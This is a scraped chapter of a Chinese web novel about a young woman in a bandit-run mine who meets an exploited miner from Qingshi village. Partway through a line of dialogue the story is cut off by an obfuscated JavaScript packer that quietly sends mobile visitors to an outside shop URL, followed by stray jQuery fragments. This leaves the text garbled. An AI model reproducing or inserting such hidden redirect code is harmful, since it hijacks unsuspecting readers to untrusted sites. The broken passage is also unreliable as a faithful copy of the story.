文趣网 > 都市小说 > 跑得快就能当暗卫吗? > 6. 下层
    江木知朝着木板踹了两脚,纹丝不动。就在她打算放弃,尝试去往隧道另一头的时候,她听见了左面那块木板后有人声。

    隔着不远,似乎是从木板后方地面下传来。她不顾粉尘脏污,凑近木板趴下,她确信自己没听错。确实有人,而且不少,和刚刚有规律的敲击声一起。

    但是他们都没发现自己刚才的动静,也许是相隔远,还被木板与隧道隔绝。不过此刻江木知已有干劲。不就是木板,就算是用牙啃,也要啃出条生路来。

    她捋了捋碎发,手向后下意识想扎个马尾,碰到自己头上的发髻,指尖传来金属冰凉温度。

    思绪仅仅停顿一下,她毫不犹豫把那根金属物拽出。

    一根金属发簪,造型简易,上面有些许纹路。

    江木知这才想起,自己头发基本上是沈澹秋帮自己梳的,想来这根发簪也是对方的吧。

    她觉得有些好笑,自己来到这个世界,见过黑衣人,见过沈大公子,见过青楼出来招聘的HR,见了山匪兄弟。没想到最初遇到的沈澹秋,竟能在这其中排得上正常人行列,也就身体弱了点吧。

    “行了,开局一根棍,”她拿着金属发簪蹲下,用发簪尖去撬钉死木板的铆钉,“装备全靠撸,想致富先撸树,挖的就是你。”

    这枚发簪的硬度比她想象中坚硬,大抵是沈家家大业大,赏给暗卫的簪子都是上档次的材料。她也愈发大胆使劲,但奈何钉子钉得实在紧,翘了半天纹丝不动,只是把边缘一圈木头凿出浅痕。

    这并不趁手的工具攥在手里,也使得手生疼,她凿一会歇一会。

    “不行,这样下去凿多少年?”江木知自暴自弃地甩手丢簪子,差点碰倒脚边的油灯。

    火光摇曳几许,她停下来了动作。

    油灯需要手动添油,铆钉钉头是在自己这侧木板。

    她恍然大悟,重新站起,从地上抓起发簪,拎起油灯,立刻朝反方向走。

    自己运气是倒霉点,虽然选错方向,但好歹脑子灵活。

    顺着一条路走,路过了最开始自己取下油灯的位置,继续往前,虽然声响离自己越来越远,但她还是选择相信自己的判断。

    不知道走了多久,一个垂直的井梯出现在自己眼前。她伸手够着垂直在空中的绳索,突然一阵异动,绳索迅速绷紧,扬起一阵粉尘。

    “咳咳,”江木知扇着灰后退两步,注视着绳索缓缓移动。

    井上方有什么巨大的装置在缓缓下降,越来越近,人声纷扰。

    江木知踌躇一瞬,还是立马隐到一边,藏匿在井梯口暗处石槽内侧。

    装置似乎是在自己这层停下了。

    “发什么愣,继续啊。”一个十分熟悉的声音,是那晚的山匪头子,路闻清嘴里的路六。

    “六哥,这层不是没挖完?还去下层挖,下层矿洞支撑不住这层,会塌的!”另一个声音哆哆嗦嗦地回应。

    路六似乎是给对方一拳,一声拳肉的闷响:“秦老板请你来,是让你搞矿。分你点保护费,真当自己是英雄了。”

    “是是,”对方老实了,绳索再次启动,巨大装置继续向下。

    直到声音彻底下去,江木知才从暗处走出,扑朔迷离的局势,似乎有些解头。

    她探出头看了一眼落在下层的木质吊箱,下一秒她将金属簪子咬在嘴上,纵身一跃,双手抓住吊箱配重绳,绳索绷直,她微微松手心,身体缓缓向下滑。

    江木知对身体的掌控力很强,稳稳落在吊箱上层,她翻了个身跳下地下层矿洞。

    此招虽险,但越危险的地方越安全,和对手玩一手灯下黑,跟着矿洞工人才能得到出去的机会。

    矿洞整体和江木知醒来所待的那层大差不差,这里矿产资源更为丰富,灯火通明,每间隔一段距离的油灯处,会有一个新洞,挖矿坑道看起来呈鱼骨状。

    一名靠近洞口侧的工人听到声响,探出头,诧异的表情迅速攀上面容。

    “嘘,”江木知一个食指压在唇边,一把拉过对方进了洞。

    “你……”矿工神情惊恐,“你也是下来挖矿的?”

    江木知很自然地接受了这个身份,重重点头:“对。”

    还没等她接着说,对方刚听着她一开口神情略微惊讶,“你是女子?”

    “额,很难看出来吗?”江木知有些尴尬,把发簪往袖里收了收,从腰上拽了根腰带绑住散发。

    “不、不是,鲜少有人家会把女子送过来干这脏活累活,”矿工解释,“他们不是会分配你去后坊做香?”

    “香?”江木知疑惑。

    半晌,矿工讲清楚了,他姓武名歌,算是最早来矿洞的一批工人。

    所有来这的矿工,皆为附近村镇的年轻男子。要问更详细的他也说不出,就知道矿洞是属于一位姓秦的大老板的,秦老板很多年前就来招工,这座矿洞已经挖到地下六七层。老板出手阔绰,给的工钱是外面做工的三倍之上,附近村庄的男子来矿洞,女子则送去后坊负责加工。

    而云寨在这中间,是个担保人,也是个监工。上头老板从不露面,将矿洞全权交给一个山匪寨子管。秦老板的活规矩森严,来这做工每月只需归家一次,而云寨会定期帮工人照看家乡亲属,从工人每月补贴的家用中,抽小部分钱作“保护费”。

    “还真给他们当上好人了,”江木知冷笑一声,脑海里划过几个面孔,令她作呕,“你知道青石村吗?”

    “我就是青石村出来的!”矿工武歌听到这有些激动,“姑娘知道青石村?我妹子和侄子都在青石村生活……”

    武歌突然语塞,神情沮丧。

    “我弟走得早,妹子拉扯那小子长大,她也不容易。”武歌自顾自地说着,像是终于找到发泄口,“我弟死在矿洞的,一个月前。小山、也就是我侄子,他现在才多大。我们都说攒两年钱,送小山出去,去学堂跟先生习书,将来考个大官。”

    江木知心一跳,但她没打断对方,安静聆听。

    “钱给我弟搞了口好棺。他太苦了,他走得太苦了。”武歌情绪上涌,沾满脏灰的双手抱头。

    江木知只能拍拍对方肩膀安慰,“我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948319|214100||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    认得小山,很活泼一孩子,他很有自己主见,将来一定有出息。”

    “你见到过他?那好那好……就怕我看不到小山那一天。”矿工叹息。

    ”为何?”江木知疑问,“你们在做工没个期限?不能逃吗?”

    “秦老板有良心,云寨没有!都是那路狗,自从他老子卧病,那路狗上位,把我们弟兄都当畜牲使唤。”武歌愤慨,恶狠狠地挖了一眼洞口外刚刚那一行人来的方向,“每下一次矿就是十四天,吃住都在下面,他们就丢点打发叫花子的家畜料给我们吃。”

    武歌说,以前矿工还能正常生活作息,自从他们头顶那层矿洞开矿失败,再到云寨首领卧病。他们就被要求加快速度,全部关地下,不分时日地挖,定期送回地面喘口气。

    “干什么呢!让你休息了吗!”木棍敲击他们洞口发出巨响打断矿工的愤慨,武歌嘴里的路狗,也就是那云寨路家老六路鎏。

    路鎏逆着光站在洞口,凶神恶煞,“你的手和脚很闲啊,正好我小弟的狗要生肉补口。”

    江木知听到声响就立马躲进阴影处,路鎏身材魁梧,往那一站盖住洞口大半,挡住了不少光线,也因此外面没人发现这口浅矿洞还藏了个人。

    矿工跪在路鎏面前磕头,看起来无比诚恳,额头碰碰作响,他声音颤抖祈求对方不要计较。

    “好好干,”路鎏倒也没太刁难,拿着木棍杵了杵矿工压低的肩膀,半晌他走到洞口,用着全洞都能听见的声音说,“待会再来批新人,你们两人一洞,一人带个新人挖,加快速度。下个月之前要再下三层!”

    而后那路鎏转身离开后,没多久外面响起了井梯吊箱的运作声响。

    武歌还趴倒在地没有动静,江木知见路鎏走远凑上前戳了戳。

    “他走了。”

    武歌忙里忙慌翻身坐直,喘着粗气,抬手擦了擦冷汗:“你看,他们又要我们接着挖,唉不说了,我去干活了,不然下回查验他会打我的。”

    “你们什么时候查?什么时候能上去?”江木知见状,也拿起一个镐子在武歌身旁一起干活。

    “七八天之后吧,”武歌掐着手指数了数日子,算不明白也摇摇头,“我也不知道过了几天,反正到时间了,他们会把吊箱放下来。”

    江木知想自己要是能跟着吊箱混上去说不定可行。

    这时外面再次传来声响,熙熙攘攘几个人从吊箱上下来,后面还有几个山匪装扮的人拿着木棍驱赶。

    “一人一个洞,工具和干粮在这。”

    零零碎碎下来的人分散开,拿了东西往洞里走,一抹熟悉的身影从洞口掠过。

    不知道这几日经历了什么,那向来整洁的素色衣裳边缘沾满了不衬景的脏污,只剩那柔顺整洁的长发保留着他最后的体面。

    后面无情的木棍重重向前一杵,那抹素色像娇花被折。

    “发什么愣,拿了赶快往里走。”

    “是,”沙哑微弱的应声,苍白脸颊伏低点头。

    江木知心头一颤,她在洞内暗处,将这一切看得清清楚楚。